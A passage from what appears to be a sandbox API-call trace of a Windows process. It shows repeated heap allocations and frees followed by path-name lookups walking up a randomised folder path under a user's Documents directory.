Size=0x820) returned 0x307f550 [0122.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0122.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.619] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\sx6 WWNEtkP28pvoC\\") returned="sx6 WWNEtkP28pvoC\\" [0122.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0122.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e240 [0122.620] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\") returned="jCjO-w4 p w1\\" [0122.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094c58 [0122.620] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\") returned="7sg88LIA79bVPrOA\\" [0122.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30187b8 [0122.620] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\") returned="YSKur86t\\" [0122.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0122.620] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0122.620] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, 